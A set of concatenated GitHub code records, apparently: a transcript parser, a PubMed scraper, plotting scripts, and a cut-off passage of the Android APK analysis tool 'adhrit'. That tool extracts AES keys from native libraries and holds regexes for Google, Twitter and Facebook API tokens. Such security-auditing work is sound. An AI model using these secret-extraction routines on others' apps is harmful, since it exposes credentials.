line.lower().strip() == 'earnings call transcript':\n            pass\n        else:\n            fixed_lines.append(line.replace('\\n','').replace('–','-').strip())\n    \n    # iterate through each line in the text, grabbing desired data\n    reached_date = False\n    reached_about = False # company name and ticker\n    has_qa = False\n    got_quarter = False\n    \n    for i, line in enumerate(fixed_lines):\n        \n        # iterate through until we reach and pull out the date\n        if line.lower().startswith('transcript') and reached_date == False:\n            date_index = i + 2\n            date = fixed_lines[date_index]\n            \n            #format for use in outfiles and spreadsheet\n            date_parts = date.split()\n            date = ' '.join(date_parts[0:3]).replace(',', '').replace('.', '')\n            year = date.split()[-1]\n            \n            reached_date = True\n            \n        # iterate through until we reach and pull out the company name and ticker\n        if line.lower().startswith('| about:') and reached_about == False:\n            company_data = line.split(':')[1].strip()\n            name = company_data.split('(')[0].strip()\n            ticker = company_data.split('(')[1].strip().split(')')[0]\n            reached_about = True\n        \n        # get the quarter of the call\n        if reached_date == True and reached_about == True:\n            generic_re = re.compile('{}|{}|{}'.format(regex, regex2, regex3)).findall(line.lower())\n            if generic_re:\n                quarter = generic_re[0]\n                \n                got_quarter = True\n                \n                if reached_date == True and reached_about == True and got_quarter == True:\n                    file_name = '{name}_{ticker}_{quarter}_{year}'.format(\n                        name = name,\n                        ticker = ticker,\n                        quarter = quarter,\n                        year = year,\n                    ).lower().replace(' ','').replace('.','').replace(',','').replace('/','').strip() + '.txt'\n                    \n                \n            \n        # QUESSTION-AND-ANSWER\n        if line.lower().startswith('**question-and-answer'):\n            has_qa = True\n       \n    try:        \n        if has_qa == True:\n            return file_name\n        else:\n            return None\n    except:\n        pass\n    \n    \n# convert scraped html pages to .txt\ndef scrape2text(file):\n    archive = 'scrapes'\n    out = 'textfiles'\n\n    # work through file\n    \n    location = os.path.join(archive, file)\n  \n     # read in individual HTML file\n    with open(location, 'r') as fin:\n        text = fin.read()\n    \n    # convert individual HTML page to HTML2Text content\n    text_maker = html2text.HTML2Text()\n    text_maker.ignore_links = True\n    text_maker.ignore_images = True\n    text_maker.ignore_anchors = True\n    text_maker.body_width = 0\n    text = text_maker.handle(text)\n    \n    with open('temp.txt', 'w') as temp:\n        temp.write(text)\n        \n    with open('temp.txt', 'r') as temp:\n        temp_lines = temp.readlines()\n        \n    os.remove('temp.txt')\n            \n    file_name = get_page_meta(temp_lines)\n        \n    # write to .txt\n    if file_name == None:\n        pass\n    else:\n        fout = os.path.join(out, file_name)\n        with open(fout, 'w') as fout:\n            fout.write(text)\n\n\n# function to initialize the conversions from the scraped html pages to .txts\ndef init_conversion():\n    archive = 'scrapes'\n    html_files = os.listdir(archive)\n    \n    out = 'textfiles'\n    try:\n        os.mkdir(out)\n    except Exception:\n        pass\n    \n    with concurrent.futures.ProcessPoolExecutor(max_workers=None) as executor:\n        future_to_file = {executor.submit(scrape2text, file): file for file in html_files}\n    \n \n# process files\ndef analyze(filein):\n    with open(filein, 'r') as fin:\n        lines = fin.readlines()\n        \n    outputs = 'outputs'\n    out_folder = 'YYYYYYYYYYYYYYYYYYYY'\n    try:\n        os.mkdir(os.path.join(outputs, out_folder))\n    except Exception:\n        pass\n    \n    regex = r\"\\b[q][1-4]\\b\" # q[1-4]\n    regex2 = r\"\\b[f][1-4][q][0-9]{2}\\b\" # f[1-4]q[xx]\n    regex3 = r\"\\b[f][1-4][q][0-9]{4}\\b\" # f[1-4]q[xxxx]\n    \n    # initialize transcript metadata variables\n    date = ''\n    name = ''\n    ticker = ''\n    quarter = ''\n    year = ''\n    \n    # remove the lines of the transcript text that are unnecessary/mess up formatting\n    fixed_lines = []\n    for line in lines:\n        if line == '' or line == '\\n' or line.lower().strip() == 'earnings call transcript':\n            pass\n        else:\n            fixed_lines.append(line.replace('\\n','').replace('–','-').strip())\n    \n    # iterate through each line in the text, grabbing desired data\n    reached_date = False\n    reached_about = False # company name and ticker\n    through_execs = False\n    at_execs = False\n    through_analysts = False\n    at_analysts = False\n    at_qa = False\n    got_quarter = False\n    \n    executives_list = []\n    executives = []\n    analysts_list = []\n    analysts = []\n    \n    analysts_order = []\n    current_speaker = ''\n    previous_speaker = ''\n    for i, line in enumerate(fixed_lines):\n        \n        # iterate through until we reach and pull out the date\n        if line.lower().startswith('transcript') and reached_date == False:\n            date_index = i + 2\n            date = fixed_lines[date_index]\n            \n            #format for use in outfiles and spreadsheet\n            date_parts = date.split()\n            date = ' '.join(date_parts[0:3]).replace(',', '').replace('.', '')\n            year = date.split()[-1]\n            \n            reached_date = True\n            \n        # iterate through until we reach and pull out the company name and ticker\n        if line.lower().startswith('| about:') and reached_about == False:\n            company_data = line.split(':')[1].strip()\n            name = company_data.split('(')[0].strip()\n            ticker = company_data.split('(')[1].strip().split(')')[0]\n            reached_about = True\n        \n        # get the quarter of the call\n        if reached_date == True and reached_about == True and got_quarter == False:\n            generic_re = re.compile('{}|{}|{}'.format(regex, regex2, regex3)).findall(line.lower())\n            if generic_re:\n                quarter = generic_re[0]\n                \n                got_quarter = True\n                \n                if reached_date == True and reached_about == True and got_quarter == True:\n                    out_folder = '{ticker}_{quarter}_{year}'.format(\n                        ticker = ticker,\n                        quarter = quarter,\n                        year = year\n                    ).lower()\n                    \n                    \n                \n                    try:\n                        os.mkdir(os.path.join(outputs, out_folder))\n                    except Exception:\n                        pass\n                \n                    \n        \n        \n        # EXECUTIVES\n        # EXECUTIVES\n        # EXECUTIVES\n        # EXECUTIVES\n        # EXECUTIVES\n        if line.lower().startswith('**executives'):\n            at_execs = True\n        # get the executives\n        if through_execs == False and at_execs == True:\n            if line.lower().startswith('**analysts'):\n                through_execs = True\n                \n            else:\n                if ' - ' in line:\n                    executive = line.lower().split(' - ')\n                    exec_name = executive[0].strip()\n                    job = executive[1].strip()\n                    temp = Executive()\n                    temp.name = exec_name\n                    temp.job = job\n                    output_string = '{exec_name}_{quarter}_{year}_{ticker}_{role}'.format(\n                        exec_name = exec_name.strip(),\n                        quarter = quarter.strip(),\n                        year = year.strip(),\n                        ticker = ticker.strip(),\n                        role = job.replace(' ', '').replace(',', '-')\n                    ).replace('/','-')[:230] + '.txt'\n                    temp.outfile = os.path.join(out_folder, output_string)\n                    executives_list.append(temp)\n                    executives.append(exec_name)\n                    \n                else:\n                    if(line.lower().startswith('**executives')) or '**' in line:\n                        pass\n                    else:\n                        executive = line.lower().strip()\n                        exec_name = executive\n                        job = 'undefined'\n                        temp = Executive()\n                        temp.name = exec_name\n                        temp.job = job\n                        output_string = '{exec_name}_{quarter}_{year}_{ticker}_{role}'.format(\n                            exec_name = exec_name.strip(),\n                            quarter = quarter.strip(),\n                            year = year.strip(),\n                            ticker = ticker.strip(),\n                            role = job.replace(' ', '').replace(',', '-')\n                        ).replace('/','-')[:230] + '.txt'\n                        temp.outfile = os.path.join(out_folder, output_string)\n                        executives_list.append(temp)\n                        executives.append(exec_name)\n                            \n        # ANALYSTS\n        # ANALYSTS\n        # ANALYSTS\n        # ANALYSTS\n        # ANALYSTS\n        if line.lower().startswith('**analysts'):\n            at_analysts = True\n        # get the analysts\n        if through_analysts == False and at_analysts == True:\n            if line.lower().startswith('**presentation') or line.lower().startswith('**operator') or (line.lower().startswith('**') and not 'analysts' in line.lower()):\n                through_analysts = True\n                \n            else:\n                if ' - ' in line:\n                    analyst = line.lower().split(' - ')\n                    analyst_name = analyst[0].strip()\n                    job = analyst[1].strip()\n                    temp = Analyst()\n                    temp.name = analyst_name\n                    temp.company = job\n                    output_string = '{analyst_name}_{firm}_{quarter}_{year}_{ticker}_{role}'.format(\n                        analyst_name = analyst_name,\n                        firm = job.replace(',','').replace('.','').upper().strip(),\n                        quarter = quarter.strip(),\n                        year = year.strip(),\n                        ticker = ticker.strip(),\n                        role = 'analyst'\n                    ).replace('/','-')[:230] + '.txt'\n                    temp.outfile = os.path.join(out_folder, output_string)\n                    analysts_list.append(temp)\n                    analysts.append(analyst_name)\n                    \n                else:\n                    if(line.lower().startswith('**analysts')) or '**' in line:\n                        pass\n                    else:\n                        analyst = line.lower().strip()\n                        analyst_name = analyst\n                        job = 'undefined'\n                        temp = Analyst()\n                        temp.name = analyst_name\n                        temp.company = job\n                        output_string = '{analyst_name}_{firm}_{quarter}_{year}_{ticker}_{role}'.format(\n                            analyst_name = analyst_name,\n                            firm = job.replace(',','').replace('.','').upper(),\n                            quarter = quarter.strip(),\n                            year = year.strip(),\n                            ticker = ticker.strip(),\n                            role = 'analyst'\n                        ).replace('/','-')[:230] + '.txt'\n                        temp.outfile = os.path.join(out_folder, output_string)\n                        analysts_list.append(temp)\n                        analysts.append(analyst_name)\n        \n        # QUESSTION-AND-ANSWER\n        # QUESSTION-AND-ANSWER\n        # QUESSTION-AND-ANSWER\n        # QUESSTION-AND-ANSWER\n        # QUESSTION-AND-ANSWER\n        if line.lower().startswith('**question-and-answer'):\n            at_qa = True\n        # get q&a data\n        if at_qa == True:\n            # this part gets the speaker\n            if line.startswith('**'):\n                current_name = ''\n                if ' - ' in line:\n                    current_name = line.lower().split(' - ')[0].replace('**','')\n                    previous_speaker = current_speaker[:]\n                    current_speaker = current_name\n                else:\n                    current_name = line.lower().replace('**','')\n                    previous_speaker = current_speaker[:]\n                    current_speaker = current_name\n                \n                # test\n                #if any(current_speaker in name for name in analysts) or any(current_speaker in name for name in executives):\n                    #print(current_speaker)   \n            \n            # this part handles the actual spoken words       \n            else:\n                # handle words from executives\n                if any(current_speaker in name for name in executives):\n                    for executive in executives_list:\n                        if current_speaker == executive.name:\n                            with open(os.path.join(outputs, executive.outfile), 'a') as fout:\n                                fout.write(line + '\\n')\n                            \n                            if fixed_lines[i-1].startswith('**'):\n                                executive.total_dialogues += 1\n                            executive.total_words += len(line.split())\n                                \n                            for analyst in analysts_list:\n                                if analyst.name == previous_speaker:\n                                    current_words = line.split()\n                                    num_current_words = len(current_words)\n                                    \n                                    if 'chief executive officer' in str(executive.job) or 'ceo' in str(executive.job):\n                                        analyst.total_ceo_words += num_current_words\n                                        if fixed_lines[i-1].startswith('**'):\n                                            analyst.ceo_dialogues += 1\n                                    elif 'chief financial officer' in str(executive.job) or 'cfo' in str(executive.job):\n                                        analyst.total_cfo_words += num_current_words\n                                        if fixed_lines[i-1].startswith('**'):\n                                            analyst.cfo_dialogues += 1\n                                    elif 'chief operating officer' in str(executive.job) or 'coo' in str(executive.job):\n                                        analyst.total_coo_words += num_current_words\n                                        if fixed_lines[i-1].startswith('**'):\n                                            analyst.coo_dialogues += 1\n                \n                # handle words from analysts\n                elif any(current_speaker in name for name in analysts):\n                    for analyst in analysts_list:\n                        if current_speaker == analyst.name:\n                            with open(os.path.join(outputs, analyst.outfile), 'a') as fout:\n                                fout.write(line + '\\n')\n                            \n                            if fixed_lines[i-1].startswith('**'):\n                                analyst.total_dialogues += 1\n                            analyst.total_words += len(line.split())\n                            \n                            if current_speaker not in analysts_order:\n                                analysts_order.append(current_speaker)\n                                \n                \n                # else, should be operator text [unknown analyst/executive]\n                else:\n                    if current_speaker == 'operator':\n                        pass\n                    elif 'unknown' in current_speaker or 'undefined' in current_speaker:\n                        text_name = 'unknown.txt'\n                        file_out = os.path.join(outputs, out_folder, text_name)\n                        with open(file_out, 'a') as fout:\n                            fout.write(line + '\\n')\n                    else:\n                        pass\n    \n    \n    # set analyst speaking order for each analyst object\n    for analyst in analysts_list:\n        for person in analysts_order:\n            if analyst.name == person:\n                analyst.order_in_queue = analysts_order.index(person) + 1\n                \n                \n                \n    # output to csv\n    output_to_csv = []\n    header_row = ['Name', 'Position', 'Firm', 'Quarter', 'Ticker', 'Date', 'Analyst', 'Order of Question',\n                    'Number of Analysts', 'Number of Dialogues',\n                    'Number of CEO Dialogues', 'Number of CEO Words', 'Number of CFO Dialogues',\n                    'Number of CFO Words', 'Number of COO Dialogues', 'Number of COO Words', 'Total Words',\n                    'Text']\n    output_to_csv.append(header_row)\n    \n    for executive in executives_list:\n        if executive.total_words == 0:\n            executive.outfile = 'na/none'\n        new_row = [executive.name, executive.job, ticker, quarter, ticker, date,\n                    0, 'N/A', len(analysts_list), executive.total_dialogues, 'N/A',\n                    'N/A', 'N/A', 'N/A', 'N/A', 'N/A', executive.total_words, executive.outfile.split('/')[1]]\n        output_to_csv.append(new_row)\n        \n    for analyst in analysts_list:\n        if analyst.total_words == 0:\n            analyst.outfile = 'na/none'\n        new_row = [analyst.name, 'analyst', analyst.company.upper(), quarter, ticker, date, 1,\n                    analyst.order_in_queue, len(analysts_list), analyst.total_dialogues,\n                    analyst.ceo_dialogues, analyst.total_ceo_words, analyst.cfo_dialogues,\n                    analyst.total_cfo_words, analyst.coo_dialogues, analyst.total_coo_words, analyst.total_words,\n                    analyst.outfile.split('/')[1]]\n        output_to_csv.append(new_row)\n\n    out_dir = os.path.join(outputs, out_folder)\n    file_name = '{name}_{quarter}_{year}.csv'.format(\n        name = name,\n        quarter = quarter,\n        year = year\n    ).replace(' ', '').replace('/', '').replace(',','').strip()\n    save_path = os.path.join(out_dir, file_name)\n            \n    with open(save_path, 'w') as f:\n        writer = csv.writer(f)\n        writer.writerows(output_to_csv)\n    \n    print('success')\n            \n          \n     \ndef main():\n    # read-in transcript call text\n    #archive = 'fixed_texts'\n    archive = 'fixed_texts'\n    files = os.listdir(archive)\n    \n    try:\n        os.mkdir('outputs')\n    except Exception:\n        pass\n    \n    for file in files:\n        filein = os.path.join(archive, file)\n        \n        analyze(filein)\n\ndef count():    \n    cpt = sum([len(files) for r, d, files in os.walk('expanded')])\n    print(cpt)\n\n\ndef count_broke():\n    bad_dir = os.path.join('outputs', 'YYYYYYYYYYYYYYYYYYYY')\n    print(len(os.listdir(bad_dir)))\nmain()\n#count_broke()\n\n\n\n\n    ","repo_name":"johnurb/seekingalpha_transcript_extractor","sub_path":"output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":22472,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"12186414392","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport xlwt\r\nimport pandas as pd\r\n\r\n\r\ndef ResultNFKB(gene):\r\n    string = gene + ' ' + 'NF-'\r\n\r\n    param = {\r\n        'term':string,\r\n    }\r\n    url = requests.get(url='https://pubmed.ncbi.nlm.nih.gov/',params=param)\r\n\r\n    demo = url.text\r\n\r\n    soup = BeautifulSoup(demo,'lxml')\r\n\r\n    result = soup.select('.results-amount .value')\r\n\r\n    if result:\r\n        for i in result:\r\n            return int(i.get_text())\r\n\r\n    #只有一个结果的搜索返回界面不一样\r\n    elif soup.select('.single-result-redirect-message'):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\n\r\n\r\ndef ResultTAU(gene):\r\n    string = gene + ' ' + 'TAU'\r\n\r\n    param = {\r\n        'term':string,\r\n    }\r\n    url = requests.get(url='https://pubmed.ncbi.nlm.nih.gov/',params=param)\r\n\r\n    demo = url.text\r\n\r\n    soup = BeautifulSoup(demo,'lxml')\r\n\r\n    result = soup.select('.results-amount .value')\r\n\r\n    if result:\r\n        for i in result:\r\n            return int(i.get_text())\r\n\r\n    # 只有一个结果的搜索返回界面不一样\r\n    elif soup.select('.single-result-redirect-message'):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\n\r\ndef ResultUBI(gene):\r\n    string = gene + ' ' + 'UBIQUITIN'\r\n\r\n    param = {\r\n        'term':string,\r\n    }\r\n    url = requests.get(url='https://pubmed.ncbi.nlm.nih.gov/',params=param)\r\n\r\n    demo = url.text\r\n\r\n    soup = BeautifulSoup(demo,'lxml')\r\n\r\n    result = soup.select('.results-amount .value')\r\n\r\n    if result:\r\n        for i in result:\r\n            return int(i.get_text())\r\n\r\n    # 只有一个结果的搜索返回界面不一样\r\n    elif soup.select('.single-result-redirect-message'):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\ndef ResultBAG2(gene):\r\n    string = gene + ' ' + 'BAG2'\r\n\r\n    param = {\r\n        'term':string,\r\n    }\r\n    url = requests.get(url='https://pubmed.ncbi.nlm.nih.gov/',params=param)\r\n\r\n    demo = url.text\r\n\r\n    soup = BeautifulSoup(demo,'lxml')\r\n\r\n    result = soup.select('.results-amount .value')\r\n\r\n    if result:\r\n        for i in result:\r\n            return int(i.get_text())\r\n\r\n    # 只有一个结果的搜索返回界面不一样\r\n    elif soup.select('.single-result-redirect-message'):\r\n        return 1\r\n    else:\r\n        return 0\r\n#输入一个芯片名，返回该基因名\r\ndef GeneName(microName):\r\n\r\n    string = microName\r\n\r\n    param = {\r\n        'term':string,\r\n    }\r\n\r\n    url = requests.get(url='https://www.ncbi.nlm.nih.gov/geoprofiles/', params=param)\r\n\r\n    demo = url.text\r\n\r\n    soup = BeautifulSoup(demo, 'lxml')\r\n\r\n    result = soup.select('.rsltcont .title')\r\n\r\n    for i in result:\r\n        i = i.get_text().split('-')\r\n        return i[0]\r\n\r\n\r\n#基因名转换为微阵列芯片名 geneList为包含基因名的列表\r\ndef MicroName(geneList):\r\n    path = '/Users/guowenbo/Desktop/OneDrive/生物信息/BioTech/hgu133a.xlsx'\r\n    data = pd.read_excel(path,sheet_name='Sheet1')\r\n    list1 = []\r\n\r\n    #判断输入数据是否为list\r\n    if isinstance(geneList,list):\r\n        for i in geneList:\r\n            name = data.loc[data['SYMBOL'].isin([i])]\r\n            name = name.iloc[:, 0:1].values\r\n            for name in name:\r\n                name = str(name)\r\n                name = name.replace(\"'\", '')\r\n                name = name.replace(\"[\", '')\r\n                name = name.replace(\"]\", '')\r\n                list1.append(name)\r\n    else:\r\n        name = data.loc[data['SYMBOL'].isin([geneList])]\r\n        name = name.iloc[:, 0:1].values\r\n\r\n        for name in name:\r\n            name = str(name)\r\n            name = name.replace(\"'\", '')\r\n            name = name.replace(\"[\", '')\r\n            name = name.replace(\"]\", '')\r\n            list1.append(name)\r\n\r\n    return list1\r\n\r\nif __name__ == '__main__':\r\n\r\n    geneList = ['SMC4','CFHR1','CFH','ZDHHC4','TMA16','TAF1A','FUBP1','USP27X','TMPO']\r\n\r\n    nfkbDic = {}\r\n    tauDic = {}\r\n    ubiquitinDic = {}\r\n    bag2Dic = {}\r\n    # HSP70 = ['HSPA6_1']\r\n    # microName = MicroName(HSP70)\r\n    # print(microName)\r\n\r\n\r\n\r\n    for i in geneList:\r\n        nfkbDic[i] = ResultNFKB(i)\r\n        tauDic[i] = ResultTAU(i)\r\n        ubiquitinDic[i] = ResultUBI(i)\r\n        bag2Dic[i] = ResultBAG2(i)\r\n\r\n    #写入xlsx\r\n    pathwayList=['ID_REF','NF-KB','TAU','ubiquitin','BAG2']\r\n    workbook = xlwt.Workbook(encoding='utf-8')\r\n    worksheet = workbook.add_sheet('sheet1')\r\n\r\n    #写入基因名\r\n    b = 1\r\n    for i in geneList:\r\n        worksheet.write(b, 0, i)\r\n        b = b + 1\r\n\r\n    #写入标题栏\r\n    a = 1\r\n    for i in pathwayList:\r\n        worksheet.write(0, a, i)\r\n        a = a + 1\r\n\r\n    #写入数据\r\n    for j in range(len(geneList)):\r\n        name = geneList[j]\r\n        j = j + 1\r\n        # worksheet.write(j,1,microName[j-1]) #写入ID_REF名\r\n        worksheet.write(j,2,nfkbDic[name])\r\n        worksheet.write(j, 3, tauDic[name])\r\n        worksheet.write(j, 4, ubiquitinDic[name])\r\n        worksheet.write(j, 5, bag2Dic[name])\r\n\r\n    workbook.save('ADgene.xls')  # 保存文件\r\n\r\n    print('nfkb is',nfkbDic)\r\n    print('TAU IS',tauDic)\r\n    print('ubiquitin IS', ubiquitinDic)\r\n\r\n    # retau = ['203928_x_at','203929_s_at','203930_s_at','206401_s_at','212901_s_at','212905_at','213922_at','216821_at']\r\n    # list = []\r\n    # for i in retau:\r\n    #    list.append(GeneName(i).strip())\r\n    # print(list)\r\n\r\n","repo_name":"guowenbo1/gse1297","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":5347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29522170509","text":"def run():\r\n    '''\r\n    Reto 47: Crea una lista de 5 numeros pares usando la\r\n    función range() e imprime el resultado\r\n    '''\r\n    par_list = list(range(2, 12, 2))\r\n\r\n    print(par_list)\r\n\r\nif __name__ == '__main__':\r\n    run()","repo_name":"HaroldRoy/100-Days-of-Python","sub_path":"47_list_range.py","file_name":"47_list_range.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27399313966","text":"import pickle\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport collections\r\nfrom sklearn.preprocessing import KBinsDiscretizer\r\ndef main():\r\n    a = \"DataProcessDiscretization.txt\"\r\n   \r\n    df = pd.read_pickle('dataframeWithTrajectories.pkl')\r\n    #maxva= df['Frame'].max()\r\n    #print(df.iloc[260,:])\r\n   \r\n    suma = sum(df['Frame'].values)/len(df)\r\n    print(\"Frame Averange: \",suma)\r\n\r\n    North = 0\r\n    East = 0\r\n    West = 0\r\n    South = 0\r\n    NorthEast = 0\r\n    NorthWest = 0\r\n    SouthEast = 0\r\n    SouthWest = 0\r\n    ArraySpeeds = []\r\n    Arrayheight = []\r\n    ArrayId = []\r\n    speeds =[]\r\n    ArrayVideo = []\r\n    df1 = df['Frame'].values\r\n    df = df['Frame'].values\r\n    df = df[df > 50]\r\n    print(df)\r\n    \r\n    if len(df)%2 != 0: \r\n        df = df[:-1]\r\n    df = df.reshape((int(len(df)/2),2))\r\n    est = KBinsDiscretizer(n_bins=10, encode='ordinal', strategy='uniform')\r\n    est.fit(df)\r\n    b = est.transform(df)\r\n    df = b.reshape(-1,1)\r\n    dfi = est.bin_edges_[1]\r\n    dfIntervals = []\r\n    for i in dfi:\r\n        dfIntervals.append('{:.4f}'.format(i))\r\n    \r\n    with open (a, 'rb') as fp:\r\n        itemlist = pickle.load(fp) \r\n        for t in itemlist:\r\n\r\n            for i in t[1]:\r\n                speeds =[]\r\n                for j in i[1]:\r\n                    for x in j[1]:\r\n                        if x[1] == \"North\":\r\n                            North = North +1\r\n                        elif x[1] == \"East\":\r\n                            East = East +1\r\n                        elif x[1] == \"West\":\r\n                            West = West +1\r\n                        elif x[1]  == \"South\":\r\n                            South = South+1\r\n                        elif x[1] == \"NorthEast\":\r\n                            NorthEast = NorthEast +1\r\n                        elif  x[1] == \"NorthWest\":\r\n                            NorthWest = NorthWest +1\r\n                        elif x[1] == \"SouthEast\":\r\n                            SouthEast = SouthEast+1\r\n                        elif x[1] == \"SouthWest\":\r\n                            SouthWest = SouthWest+1\r\n                        Arrayheight.append(int(x[2]))\r\n                        ArraySpeeds.append(int(x[3]))\r\n                        \r\n                  \r\n            ArrayId.append((i[0],speeds))\r\n        ArrayVideo.append((t[0],ArrayId))\r\n   # print(ArrayVideo)\r\n    #print(North, East,West,South ,NorthEast ,NorthWest ,SouthEast ,SouthWest)\r\n    a = [North, East,West,South ,NorthEast ,NorthWest ,SouthEast ,SouthWest]\r\n    speeds = collections.Counter(ArraySpeeds)    \r\n    heigh = collections.Counter(Arrayheight)   \r\n    #print(speeds)\r\n    #print(heigh)\r\n    Total = sum(a)\r\n    Labels =['North', 'East','West','South' ,'NorthEast','NorthWest' ,'SouthEast' ,'SouthWest'] \r\n    y_pos = np.arange(len(Labels))\r\n    plt.bar(y_pos, a, color = (0.5,0.1,0.5,0.6))\r\n\r\n    plt.title('Cardinal direction')\r\n    plt.xlabel('Cardinals')\r\n    plt.ylabel('Times')\r\n    plt.grid(axis='y', alpha=0.75)\r\n    plt.xticks(y_pos, Labels)\r\n    plt.show()\r\n\r\n    \r\n    intervalos = [0,1,2,3,4,5,6,7,8,9,10,11]\r\n    \r\n    for i in intervalos:\r\n        if i < len(dfIntervals):\r\n            print(dfIntervals[i], i)\r\n    plt.hist(x=df, bins=intervalos, color='#F2AB6D', rwidth=0.85)\r\n    plt.title('Frames Histogram')\r\n    plt.xlabel('Frames')\r\n    plt.ylabel('Times')\r\n    plt.grid(axis='y', alpha=0.75)\r\n    plt.xticks(intervalos) \r\n    plt.show()\r\n\r\n\r\n\r\n    intervalos = [0,1,2,3,4,5,6,7,8,9,10,11,12,13]\r\n    print(len(ArraySpeeds))\r\n    plt.hist(x=ArraySpeeds, bins=intervalos, color='#F2AB6D', rwidth=0.85)\r\n    plt.title('Speed Histogram')\r\n    plt.xlabel('Speed')\r\n    plt.ylabel('Times')\r\n    plt.grid(axis='y', alpha=0.75)\r\n    plt.xticks(intervalos) \r\n    plt.show()\r\n\r\n    intervalos = [0,1,2,3,4,5,6,7,8,9,10,11,12,13]\r\n    print(len(Arrayheight))\r\n    plt.hist(x=Arrayheight, bins=intervalos, color='#F2AB6D', rwidth=0.85)\r\n    plt.title('Height Histogram')\r\n    plt.xlabel('Height')\r\n    plt.ylabel('Times')\r\n    plt.grid(axis='y', alpha=0.75)\r\n    plt.xticks(intervalos) \r\n    plt.show()\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"InDeX696/Detection-of-participants-in-sporting-events","sub_path":"Scripts/HistogramMaker.py","file_name":"HistogramMaker.py","file_ext":"py","file_size_in_byte":4153,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"7884415688","text":"from adhrit.adhrit import main\nimport configparser\nimport os\nimport re\nimport r2pipe\nimport base64\nimport glob\nfrom colorama import Fore, Style\nimport concurrent.futures\nfrom adhrit.recons.dbaccess import dbconnection, create_secrets_table, insert_secretstable, insert_statustable\ndecode_str_list = []\n\ndef isBase64(s):\n    try:\n        return base64.b64encode(base64.b64decode(s)) == s\n    except Exception:\n        return False\n\ndef lib_pwn():\n\tn = 0\n\tif os.path.exists('Bytecode'):\n\t\tbinfilepath = glob.glob('Bytecode/lib/arme*')\n\t\ttry:\n\t\t\tgotbinfilepath = binfilepath[0]\n\t\texcept IndexError:\n\t\t\tgotbinfilepath = 'none'\n\t\tif os.path.exists(gotbinfilepath):\n\n\t\t\tbinfiles = glob.glob(str(gotbinfilepath) + '/*.so')\n\n\t\t\tfor thelibfile in binfiles:\n\t\t\t\tprint(Fore.GREEN + \"\\n\\n[INFO]\" + Fore.BLUE + \" Analyzing \" + Fore.GREEN + thelibfile)\n\n\t\t\t\tr = r2pipe.open(thelibfile)\n\t\t\t\t\n\t\t\t\tprint(Fore.GREEN + \"\\n[INFO] \" + Fore.BLUE +  \"Seaching for AES keys\")\n\t\t\t\tprint(Fore.YELLOW)\n\t\t\t\tprint(\"\\t\") \n\t\t\t\taeskeys = r.cmd('/ca')\n\t\t\t\tif aeskeys == '':\n\t\t\t\t\tprint(Fore.GREEN + \"\\t[!] \" + Fore.YELLOW + \"No AES Keys found\\n\")\n\t\t\t\telse:\n\t\t\t\t\tprint(Fore.YELLOW + aeskeys + \"\\n\")\n\t\t\t\t\ttmp = f\"AES key(s) found are : {aeskeys}\"\n\t\t\t\t\tdecode_str_list.append(tmp)\n\n\t\t\t\tprint(Fore.GREEN + \"\\n[INFO] \" + Fore.BLUE +  \"All Strings\\n\")\n\t\t\t\tallstrings = r.cmdj('rabin2 -z -j ' + thelibfile)\n\n\t\t\t\tprint(Fore.YELLOW)\n\t\t\t\tif allstrings != None:\n\t\t\t\t\tfor val_list in allstrings.values():\n\t\t\t\t\t\tfor json_data in val_list:\n\t\t\t\t\t\t\tfor key, value in json_data.items():\n\t\t\t\t\t\t\t\tif key == 'type' and value == 'utf32le':\n\t\t\t\t\t\t\t\t\tdecode_str_list.append(json_data['string'])\n\n\treturn decode_str_list\n\n\n\ndef url_scanner():\n\n\tprint(\"\\n[+] Scanning URLs\\n\")\n\troot_dir = os.getcwd() \n\tscan_lists = [ glob.glob(root_dir + \"/*.xml\"), glob.glob(root_dir + \"/**/*.smali\", recursive = True)]\n\tnew_scan_list = []\n\turl_regex = r\"(http|ftp|https|file):\\/\\/([\\w\\-_]+(?:(?:\\.[\\w\\-_]+)+))([\\w\\-\\.,@?^=%&:/~\\+#]*[\\w\\-\\@?^=%&/~\\+#])?\"\n\tignore_url = [\"android.com\",]\n\tignore_dir = ['android/', 'org/', 'google/', 'localytics/', 'lib/', 'AndroidManifest.xml','juspay/']\n\tfinal_urls = []\n\n\n\t# Filtering scaning list \n\tfor scan_list in scan_lists:\n\t\tfor each_item in scan_list:\n\t\t\tif any(ignore in each_item for ignore in ignore_dir):\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tnew_scan_list.append(each_item)\n\t\n\tfor file_path in new_scan_list:\n\t\twith open(file_path) as file:\n\t\t\tfor line in file:\n\t\t\t\t\tmatch = re.compile(url_regex).findall(line)\n\t\t\t\t\tif match:\n\t\t\t\t\t\ttup = match[0]\n\t\t\t\t\t\turl = str(tup[0])+'://'+(str(tup[1])+str(tup[2])) \n\t\t\t\t\t\tif any(ignore in url for ignore in ignore_url):\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfinal_urls.append(url)\n\t\n\n\treturn set(final_urls)\n\n\ndef get_config_data(key):\n\tcheck_deps = configparser.ConfigParser() #re.compile(r'\\b\\b')\n\tcheck_deps.read('config')\n\treturn check_deps.get('config-data', str(key))\n\ndef api_scanner():\n\tapi_lists = []\n\tprint(\"\\n[+] Scanning API keys\\n\")\n\troot_dir = os.getcwd()\n\t#Append the remaining regex here\n\tregex_dic = {'Google Maps API': re.compile(r'\\bAIza.{35}\\b'),\n\t\t\t\t'Twitter Access Token': re.compile(r'\\b[1-9][ 0-9]+-\\(0-9a-zA-Z]{40}\\b'), \n\t\t\t\t'Facebook Access Token': re.compile(r'\\bEAACEdEose0cBA[0-9A-Za-z]+\\b'), \n\t\t\t\t'Gmail OAuth 2.0': 